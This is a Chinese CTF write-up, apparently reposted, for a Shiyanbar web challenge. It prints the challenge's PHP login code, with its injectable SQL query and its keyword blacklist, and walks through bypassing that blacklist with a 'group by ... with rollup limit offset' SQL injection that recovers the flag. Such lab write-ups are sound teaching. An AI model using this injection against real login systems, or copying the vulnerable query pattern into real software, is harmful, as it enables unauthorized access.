1. 程式人生 > >【實驗吧】CTF_Web_因缺思汀的繞過

【實驗吧】CTF_Web_因缺思汀的繞過

alt 分享 源碼分析 ont 一次 mysql lose sse limit

打開頁面,查看源代碼,發現存在source.txt(http://ctf5.shiyanbar.com/web/pcat/source.txt),如下:

<?php
error_reporting(0);
if (!isset($_POST[uname]) || !isset($_POST[pwd])) {
    echo <form action="" method="post">."<br/>";
    echo <input name="uname" type="text"/>."<br/>";
    echo <input name="pwd" type="text"/>
."<br/>"; echo <input type="submit" />."<br/>"; echo </form>."<br/>"; echo <!--source: source.txt-->."<br/>"; die; } function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ //檢測變量是否是數組 $StrValue=implode($StrValue);
//返回由數組元素組合成的字符串 } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ //匹配成功一次後就會停止匹配 print "水可載舟,亦可賽艇!"; exit(); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){ //遍歷數組 AttackFilter($key,$value,$filter); } $con = mysql_connect("
XXXXXX","XXXXXX","XXXXXX"); if (!$con){ die(Could not connect: . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con); //設置活動的 MySQL 數據庫 $sql="SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname‘]}‘"; $query = mysql_query($sql); //執行一條 MySQL 查詢 if (mysql_num_rows($query) == 1) { //返回結果集中行的數目 $key = mysql_fetch_array($query); //返回根據從結果集取得的行生成的數組,如果沒有更多行則返回 false if($key[pwd] == $_POST[pwd]) { print "CTF{XXXXXX}"; }else{ print "亦可賽艇!"; } }else{ print "一顆賽艇!"; } mysql_close($con); ?>

由源碼分析,必須滿足一下條件:
1. $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)" 過濾了關鍵字
2. if (mysql_num_rows($query) == 1) 返回數據為1條
3. if($key[‘pwd‘] == $_POST[‘pwd‘]) 傳入的pwd和查詢出來的結果一致

不適用條件1即可完成。

limit 2 offset 3 中,2表示返回2行,3表示從表的第4行開始,如下圖(建表及插入語句見http://www.cnblogs.com/caizhiren/p/7768936.html):

技術分享

1‘ or 1 含義如下:

技術分享

Group by with rollup 會在最後多計算一個總數(http://blog.csdn.net/id19870510/article/details/6254358)

技術分享

mysql> select * from user where name = admin or 1 group by name with rollup limit 1 offset 0;

技術分享

回到本題,輸入‘1 or 1 limit 1 offset 0# 和‘1 or 1 limit 1 offset 1# 返回亦可賽艇!,輸入‘1 or 1 limit 1 offset 2# 返回一顆賽艇!,說明一共有兩行。再帶入上面的列子,1‘ or 1=1 group by pwd with rollup limit 1 offset 2#, 密碼不輸入,及為空,和with rollup的結果一致,即可得CTF{with_rollup_interesting}

技術分享

參考鏈接:http://www.bubuko.com/infodetail-2169730.html

【實驗吧】CTF_Web_因缺思汀的繞過